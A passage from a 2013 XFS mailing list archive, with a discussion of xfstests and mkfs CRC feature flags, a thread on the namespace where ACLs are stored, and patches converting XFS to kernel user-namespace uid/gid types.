going that way. > >>> > >>> We'll, if you don't have all the filtering patches that I posted a > >>> while back it'll make quite a mess with all the experimental > >>> warnings mkfs and repair emit, and the xfs_db tests that modify > >>> filesystem structures will all also fail... > >> > >> I've been slacking on xfstests updates. The problem may exist > >> between keyboard and chair, though: I was trying to copy a merged > >> xfsprogs from one PC to another, then build everything from `make > >> distclean` after deleting /usr/include/xfs. Something must have > >> gone wrong...won't be the first time... > >> > >>> I'll repost them later today... > >> > >> I'll take this patchset home and see if any of them were not > >> committed to the xfsprogs git: > >> > >> http://oss.sgi.com/archives/xfs/2013-06/msg00217.html > >> > >> Is this the correct patchset? > > > > Yeah, that's it, thugh I have a more recent version of it locally... > > > > Cheers, > > > > Dave. > > > Thanks. After applying this patchset and compiling dmapi, xfsprogs, > xfsdump, and xfstests around in circles several times, it looks > rather sane now. Two issues remain, one reproduced on another PC: > > 1) The earlier worries about dmapi and hole punching comes from the > results of xfs/145 being run. It hasn't been that long, but I've > forgotten the last time xfstests gave messages like "[not run] DMAPI > modules not loaded." dmapi is installed as a prerequisite; I have > precisely zero knowledge of what happens when it is enabled. All the tests using dmapi should be detecting that your kernel does not support dmapi and therefore should not be run.... > 2) There are two PCs: the one being discussed here, and the all-3.12 > setup that is in mid-bisect. For CRC filesystems made by the new > mkfs.xfs for the 3.11.0-rc and 3.10.0+ mid-bisect kernels, attempts > to mount them fail with a dmesg like this (by memory)... > > XFS(sdb6): ... unknown incompatible features (0x1) detected ... > Filesystem can not be safely mounted by this kernel. Yes, that's because the new mkfs sets the dirent filetype field feature bit, and older kernels don't know anything about that. > Is there an extra flag that can be passed to mkfs.xfs for the sake > of older CRC-capable kernels? No, I didn't add one because this is all still under the "experimental" umbrella and still under active development hence changes in flags and features are expected and there's no real reason to provide options for features will always be turned on once non-experimental releases are made. > FWIW, both PCs could still mount > CRC-enabled XFS filesystems made during the kernel 3.10-rc cycle. Sure - mkfs doesn't enable this flag until patch 49 of this series. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Jul 23 23:05:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7D2877F53 for ; Tue, 23 Jul 2013 23:05:33 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6AD0A8F8040 for ; Tue, 23 Jul 2013 21:05:30 -0700 (PDT) X-ASG-Debug-ID: 1374638728-04cbb0469013346a0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id OayW6RgPY3DycHgm for ; Tue, 23 Jul 2013 21:05:28 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqkIAIlR71F5LPxH/2dsb2JhbABbgwaDJbkmhTmBExd0giQBAQQBOhwjBQsIAw4KCRoLDwUlAyETiAoFuB8Wj2QHhAADl16RToFbgUsq Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail07.adl2.internode.on.net with ESMTP; 24 Jul 2013 13:35:27 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V1qKL-0000NA-5f; Wed, 24 Jul 2013 14:05:25 +1000 Date: Wed, 24 Jul 2013 14:05:25 +1000 From: Dave Chinner To: Linda Walsh Cc: xfs-oss Subject: Re: BUG: ACL's are a security attribute. They belong in the Security attrib space, not the Root-attrib space. Message-ID: <20130724040525.GQ19986@dastard> X-ASG-Orig-Subj: Re: BUG: ACL's are a security attribute. They belong in the Security attrib space, not the Root-attrib space. References: <51EEF5C6.3050904@tlinx.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51EEF5C6.3050904@tlinx.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1374638728 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137263 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jul 23, 2013 at 02:29:42PM -0700, Linda Walsh wrote: > > Currently there are 3 disjoint attribute spaces on files -- user, root and security. > > (there is a misprint in the manual that says there is 2, but later, it gives > talks about using no switch giving the User attrib space, -R for Root attrib > space, and -S for the Security attrib space). You're confusing on-disk formats used to store attributes with namepaces used to report and access them. Linux has security, system, trusted and user namespaces, while on disk XFS has "root", "secure", and "user" spaces. i.e. Linux attr XFS on disk system root security secure trusted root user user > Of these, the ACL's are being placed in the root, which might describe > file types, or other OS related info, but not security attributes like ACL's. > They should be in the Security attrib space (otherwise what is the point of a > Security attribute space). Posix ACLS are defined by the *kernel* to be in the "system" namespace: #define POSIX_ACL_XATTR_ACCESS "system.posix_acl_access" #define POSIX_ACL_XATTR_DEFAULT "system.posix_acl_default" IOWs, the Linux *kernel* doesn't consider ACLs to be part of the security namespace, and so neither does XFS. Cheers, Dave. -- Dave Chinner david@fromorbit.com From xfs@tlinx.org Tue Jul 23 23:38:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.9 required=5.0 tests=MISSING_HEADERS autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0440F7F58 for ; Tue, 23 Jul 2013 23:38:01 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id E67DB304067 for ; Tue, 23 Jul 2013 21:37:57 -0700 (PDT) X-ASG-Debug-ID: 1374640673-04cb6c2a47108eda0001-NocioJ Received: from Ishtar.tlinx.org (ishtar.tlinx.org [173.164.175.65]) by cuda.sgi.com with ESMTP id G8NwhqF72HoKTWSY (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 23 Jul 2013 21:37:55 -0700 (PDT) X-Barracuda-Envelope-From: xfs@tlinx.org X-Barracuda-Apparent-Source-IP: 173.164.175.65 Received: from [192.168.4.12] (Athenae [192.168.4.12]) by Ishtar.tlinx.org (8.14.7/8.14.4/SuSE Linux 0.8) with ESMTP id r6O4boGk043724 for ; Tue, 23 Jul 2013 21:37:52 -0700 Message-ID: <51EF5A1B.6020005@tlinx.org> Date: Tue, 23 Jul 2013 21:37:47 -0700 From: Linda Walsh User-Agent: Thunderbird MIME-Version: 1.0 CC: xfs-oss Subject: Re: BUG: ACL's are a security attribute. They belong in the Security attrib space, not the Root-attrib space. References: <51EEF5C6.3050904@tlinx.org> <20130724040525.GQ19986@dastard> X-ASG-Orig-Subj: Re: BUG: ACL's are a security attribute. They belong in the Security attrib space, not the Root-attrib space. In-Reply-To: <20130724040525.GQ19986@dastard> Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: ishtar.tlinx.org[173.164.175.65] X-Barracuda-Start-Time: 1374640675 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.21 X-Barracuda-Spam-Status: No, SCORE=1.21 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MISSING_HEADERS X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137263 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.21 MISSING_HEADERS Missing To: header Dave Chinner wrote: > On Tue, Jul 23, 2013 at 02:29:42PM -0700, Linda Walsh wrote: > > Currently there are 3 disjoint attribute spaces on files -- user, root and security. > > > > (there is a misprint in the manual that says there is 2, but later, it gives > > talks about using no switch giving the User attrib space, -R for Root attrib > > space, and -S for the Security attrib space). > > You're confusing on-disk formats used to store attributes with > namepaces used to report and access them. Linux has security, > system, trusted and user namespaces, while on disk XFS has "root", > "secure", and "user" spaces. > > i.e. > > Linux attr XFS on disk > system root > security secure > trusted root > user user ----- That makes the man page even more dated... Why don't we copy your explanation into the manpage! It's certainly more clear! ;-) > > > Of these, the ACL's are being placed in the root, which might describe > > file types, or other OS related info, but not security attributes like ACL's. > > They should be in the Security attrib space (otherwise what is the point of a > > Security attribute space). > > Posix ACLS are defined by the *kernel* to be in the "system" > namespace: ---- Likely because the system namespace predates the secur[e/ity] namespace, which seems like it might have been the timeframe that part in the "attr" manpage, saying there were only 2 namespaces, was written? > > #define POSIX_ACL_XATTR_ACCESS "system.posix_acl_access" > #define POSIX_ACL_XATTR_DEFAULT "system.posix_acl_default" > > IOWs, the Linux *kernel* doesn't consider ACLs to be part of the > security namespace, and so neither does XFS. ----- Well, of the kernel I can understand why ... and then it makes sense that XFS would have followed the kernel through its evolution...;-) So that still leaves the Q's about the -l (--list) function no longer being maitained, and the suggested alternates having no similar functionality nor any for the 'root' or 'secur' namespaces. Maybe not important, but sometimes linux security looks a bit like it is partaking of security through obscurity...or it could just be generally obscure engineer writing...;-) From dwight.engen@oracle.com Tue Jul 23 23:52:15 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E53937F5A for ; Tue, 23 Jul 2013 23:52:15 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id BF4BB304064 for ; Tue, 23 Jul 2013 21:52:15 -0700 (PDT) X-ASG-Debug-ID: 1374641534-04bdf0245b347ee0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id s5tjqvbjdEy8fUNQ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 23 Jul 2013 21:52:14 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6O4qAIQ003671 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 24 Jul 2013 04:52:11 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by ucsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6O4q9El026371 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 24 Jul 2013 04:52:10 GMT Received: from abhmt115.oracle.com (abhmt115.oracle.com [141.146.116.67]) by userz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6O4q9H8026364; Wed, 24 Jul 2013 04:52:09 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 23 Jul 2013 21:52:08 -0700 Date: Wed, 24 Jul 2013 00:52:22 -0400 From: Dwight Engen To: xfs@oss.sgi.com, Dave Chinner Cc: Serge Hallyn , "Eric W. Biederman" Subject: [PATCH v5 0/7] userns: Convert xfs to use kuid_t/kgid_t where appropriate Message-ID: <20130724005222.2c687428@oracle.com> X-ASG-Orig-Subj: [PATCH v5 0/7] userns: Convert xfs to use kuid_t/kgid_t where appropriate Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1374641534 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137263 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Hi All, This updated patchset is on top of ad81f054 of xfs git (3.11-rc1). The patches do not convert the id's returned from bulkstat, since bulkstat cannot be called from inside a userns right now anyway since the caller must be CAP_SYS_ADMIN in init_user_ns. Changes since v4 patchset (addressing Dave's comments): - add parenthesis in if with binary and logical and (EOFBLOCKS flags) - rename xfs_fs_eofblocks_to_internal -> xfs_fs_eofblocks_from_user and move conversion validation into it - fix negative error returns from XFS_IOC_FREE_EOFBLOCKS - add check for read-only filesystem to XFS_IOC_FREE_EOFBLOCKS Changes since v3 patchset: - export inode_capable() for building xfs as a module - implement Brian's proposal for an internal flag to indicate to xfs_inode_free_eofblocks() that it should do a permission check. ioctl callers will always set this flag, which is simpler than making them specify XFS_EOF_FLAGS_UID or XFS_EOF_FLAGS_GID, internal callers can leave it unset so no permission checking is done - take Brian's suggestion on moving the policy from the conversion function into the ioctl code, and moving stuff to xfs_icache.h From dwight.engen@oracle.com Tue Jul 23 23:52:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 978307F60 for ; Tue, 23 Jul 2013 23:52:19 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7587F304064 for ; Tue, 23 Jul 2013 21:52:19 -0700 (PDT) X-ASG-Debug-ID: 1374641538-04bdf0245e347f10001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id UmevRJItzL0fOsxo (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 23 Jul 2013 21:52:18 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6O4qGWu006817 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 24 Jul 2013 04:52:17 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by ucsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6O4qGVv026510 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 24 Jul 2013 04:52:16 GMT Received: from abhmt119.oracle.com (abhmt119.oracle.com [141.146.116.71]) by userz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6O4qF6M026500 for ; Wed, 24 Jul 2013 04:52:16 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 23 Jul 2013 21:52:15 -0700 Date: Wed, 24 Jul 2013 00:52:30 -0400 From: Dwight Engen To: xfs@oss.sgi.com Subject: [PATCH v5 1/7] xfs: create wrappers for converting kuid_t to/from uid_t Message-ID: <20130724005230.3ec37624@oracle.com> X-ASG-Orig-Subj: [PATCH v5 1/7] xfs: create wrappers for converting kuid_t to/from uid_t Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1374641538 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137263 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Signed-off-by: Dwight Engen --- fs/xfs/xfs_linux.h | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) diff --git a/fs/xfs/xfs_linux.h b/fs/xfs/xfs_linux.h index 800f896..761e4c0 100644 --- a/fs/xfs/xfs_linux.h +++ b/fs/xfs/xfs_linux.h @@ -159,6 +159,32 @@ #define MAX(a,b) (max(a,b)) #define howmany(x, y) (((x)+((y)-1))/(y)) +/* Kernel uid/gid conversion. These are used to convert to/from the on disk + * uid_t/gid_t types to the kuid_t/kgid_t types that the kernel uses internally. + * The conversion here is type only, the value will remain the same since we + * are converting to the init_user_ns. The uid is later mapped to a particular + * user namespace value when crossing the kernel/user boundary. + */ +static inline __uint32_t xfs_kuid_to_uid(kuid_t uid) +{ + return from_kuid(&init_user_ns, uid); +} + +static inline kuid_t xfs_uid_to_kuid(__uint32_t uid) +{ + return make_kuid(&init_user_ns, uid); +} + +static inline __uint32_t xfs_kgid_to_gid(kgid_t gid) +{ + return from_kgid(&init_user_ns, gid); +} + +static inline kgid_t xfs_gid_to_kgid(__uint32_t gid) +{ + return make_kgid(&init_user_ns, gid); +} + /* * Various platform dependent calls that don't fit anywhere else */ -- 1.8.1.4 From dwight.engen@oracle.com Tue Jul 23 23:52:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 66E6A7F58 for ; Tue, 23 Jul 2013 23:52:26 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id E4764AC005 for ; Tue, 23 Jul 2013 21:52:25 -0700 (PDT) X-ASG-Debug-ID: 1374641544-04cb6c2a47108fec0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id MGrHjq3lMIG8ctYQ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 23 Jul 2013 21:52:24 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6O4qND2006858 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 24 Jul 2013 04:52:24 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6O4qNNn012685 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 24 Jul 2013 04:52:23 GMT Received: from abhmt118.oracle.com (abhmt118.oracle.com [141.146.116.70]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6O4qNAj012681 for ; Wed, 24 Jul 2013 04:52:23 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 23 Jul 2013 21:52:22 -0700 Date: Wed, 24 Jul 2013 00:52:37 -0400 From: Dwight Engen To: xfs@oss.sgi.com Subject: [PATCH v5 2/7] xfs: convert kuid_t to/from uid_t in ACLs Message-ID: <20130724005237.73c286be@oracle.com> X-ASG-Orig-Subj: [PATCH v5 2/7] xfs: convert kuid_t to/from uid_t in ACLs Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1374641544 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137263 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Change permission check for setting ACL to use inode_owner_or_capable() which will additionally allow a CAP_FOWNER user in a user namespace to be able to set an ACL on an inode covered by the user namespace mapping. Signed-off-by: Dwight Engen --- fs/xfs/xfs_acl.c | 20 ++++++++++++++++---- 1 file changed, 16 insertions(+), 4 deletions(-) diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index 306d883..32e4972 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -68,14 +68,15 @@ xfs_acl_from_disk( switch (acl_e->e_tag) { case ACL_USER: + acl_e->e_uid = xfs_uid_to_kuid(be32_to_cpu(ace->ae_id)); + break; case ACL_GROUP: - acl_e->e_id = be32_to_cpu(ace->ae_id); + acl_e->e_gid = xfs_gid_to_kgid(be32_to_cpu(ace->ae_id)); break; case ACL_USER_OBJ: case ACL_GROUP_OBJ: case ACL_MASK: case ACL_OTHER: - acl_e->e_id = ACL_UNDEFINED_ID; break; default: goto fail; @@ -101,7 +102,18 @@ xfs_acl_to_disk(struct xfs_acl *aclp, const struct posix_acl *acl) acl_e = &acl->a_entries[i]; ace->ae_tag = cpu_to_be32(acl_e->e_tag); - ace->ae_id = cpu_to_be32(acl_e->e_id); + switch (acl_e->e_tag) { + case ACL_USER: + ace->ae_id = cpu_to_be32(xfs_kuid_to_uid(acl_e->e_uid)); + break; + case ACL_GROUP: + ace->ae_id = cpu_to_be32(xfs_kgid_to_gid(acl_e->e_gid)); + break; + default: + ace->ae_id = cpu_to_be32(ACL_UNDEFINED_ID); + break; + } + ace->ae_perm = cpu_to_be16(acl_e->e_perm); } } @@ -360,7 +372,7 @@ xfs_xattr_acl_set(struct dentry *dentry, const char *name, return -EINVAL; if (type == ACL_TYPE_DEFAULT && !S_ISDIR(inode->i_mode)) return value ? -EACCES : 0; - if ((current_fsuid() != inode->i_uid) && !capable(CAP_FOWNER)) + if (!inode_owner_or_capable(inode)) return -EPERM; if (!value) -- 1.8.1.4 From dwight.engen@oracle.com Tue Jul 23 23:52:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 934437F69 for ; Tue, 23 Jul 2013 23:52:32 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 733A2304064 for ; Tue, 23 Jul 2013 21:52:32 -0700 (PDT) X-ASG-Debug-ID: 1374641551-04cbb0468f1337dc0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id vZMwnmlMW8RXtAxB (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 23 Jul 2013 21:52:31 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6O4qUpM007012 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 24 Jul 2013 04:52:31 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6O4qTQm026157 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 24 Jul 2013 04:52:30 GMT Received: from abhmt101.oracle.com (abhmt101.oracle.com [141.146.116.53]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6O4qT92026151 for ; Wed, 24 Jul 2013 04:52:29 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 23 Jul 2013 21:52:29 -0700 Date: Wed, 24 Jul 2013 00:52:43 -0400 From: Dwight Engen To: xfs@oss.sgi.com Subject: [PATCH v5 3/7] xfs: ioctl check for capabilities in the current user namespace Message-ID: <20130724005243.325a9a88@oracle.com> X-ASG-Orig-Subj: [PATCH v5 3/7] xfs: ioctl check for capabilities in the current user namespace Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1374641551 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137263 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Use inode_capable() to check if SUID|SGID bits should be cleared to match similar check in inode_change_ok(). The check for CAP_LINUX_IMMUTABLE was not modified since all other file systems also check against init_user_ns rather than current_user_ns. Signed-off-by: Dwight Engen --- fs/xfs/xfs_ioctl.c | 4 ++-- kernel/capability.c | 1 + 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index 6e2bca5..8edc780 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -981,7 +981,7 @@ xfs_ioctl_setattr( * to the file owner ID, except in cases where the * CAP_FSETID capability is applicable. */ - if (current_fsuid() != ip->i_d.di_uid && !capable(CAP_FOWNER)) { + if (!inode_owner_or_capable(VFS_I(ip))) { code = XFS_ERROR(EPERM); goto error_return; } @@ -1103,7 +1103,7 @@ xfs_ioctl_setattr( * cleared upon successful return from chown() */ if ((ip->i_d.di_mode & (S_ISUID|S_ISGID)) && - !capable(CAP_FSETID)) + !inode_capable(VFS_I(ip), CAP_FSETID)) ip->i_d.di_mode &= ~(S_ISUID|S_ISGID); /* diff --git a/kernel/capability.c b/kernel/capability.c index f6c2ce5..a4b6744 100644 --- a/kernel/capability.c +++ b/kernel/capability.c @@ -464,3 +464,4 @@ bool inode_capable(const struct inode *inode, int cap) return ns_capable(ns, cap) && kuid_has_mapping(ns, inode->i_uid); } +EXPORT_SYMBOL(inode_capable); -- 1.8.1.4 From dwight.engen@oracle.com Tue Jul 23 23:52:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: 